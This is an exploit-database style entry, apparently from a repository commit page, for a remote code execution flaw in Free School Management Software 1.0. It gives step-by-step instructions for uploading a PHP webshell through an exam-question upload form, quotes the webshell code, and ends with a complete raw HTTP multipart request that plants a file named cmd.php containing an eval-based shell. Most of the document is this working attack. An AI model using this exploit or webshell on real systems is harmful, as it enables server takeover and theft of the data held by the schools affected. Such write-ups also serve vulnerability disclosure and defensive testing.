55af36c59a
3 changes to exploits/shellcodes OpenCATS 0.9.4 - Remote Code Execution (RCE) Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) Free School Management Software 1.0 - Remote Code Execution (RCE)
92 lines
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3.3 KiB
Text
92 lines
No EOL
3.3 KiB
Text
# Exploit Title: Free School Management Software 1.0 - Remote Code Execution (RCE)
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# Exploit Author: fuuzap1
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# Date: 7-12-2021
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# Category: Web application
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# Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html
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# Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip
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# Version: 1.0
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# Tested on: windows
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# Vulnerable page: http://localhost/admin/examQuestion
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Technical description:
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A unrestricted file upload vulnerability exists in the Free school
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management software v1.0. An attacker can leverage this vulnerability in
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order to get a remote code execution on the affected web server. Once a php
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webshell containing "<?php system($_GET["cmd"]); ?>" gets uploaded it is
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getting save into /uploads/exam_question/ directory, and is accessible by
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all users. the attacker can gain remote code execution on the web server.
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Steps to exploit:
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1) Navigate to http://localhost/admin/manage_profile
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2) click "ADD NEW QUESTION PAPER" edit base infomation
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3) uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" in
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the Field "upload Drag and drop a file here or click"
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3) Click "save"
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4) open http://localhost/uploads/exam_question/cmd.php?cmd=phpinfo() then
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php code execution
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Proof of concept (Poc):
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The following payload will allow you to run the javascript -
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<?php system($_GET["cmd"]); ?>
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---
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POST /admin/examQuestion/create HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
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Gecko/20100101 Firefox/89.0
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data;
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boundary=---------------------------183813756938980137172117669544
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Content-Length: 1331
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Origin: http://localhost
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Connection: close
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Referer: http://localhost/admin/examQuestion
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Cookie: ci_session=793aq6og2h9mf5cl2q2b3p4ogpcslh2q
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Upgrade-Insecure-Requests: 1
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="name"
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test4
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="class_id"
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2
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="subject_id"
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5
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="timestamp"
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2021-12-08
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="teacher_id"
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1
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="file_type"
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txt
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="status"
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1
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="description"
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123123
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="_wysihtml5_mode"
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1
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-----------------------------183813756938980137172117669544
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Content-Disposition: form-data; name="file_name"; filename="cmd.php"
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Content-Type: application/octet-stream
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<?php eval($_GET["cmd"]); ?>
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-----------------------------183813756938980137172117669544--
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--- |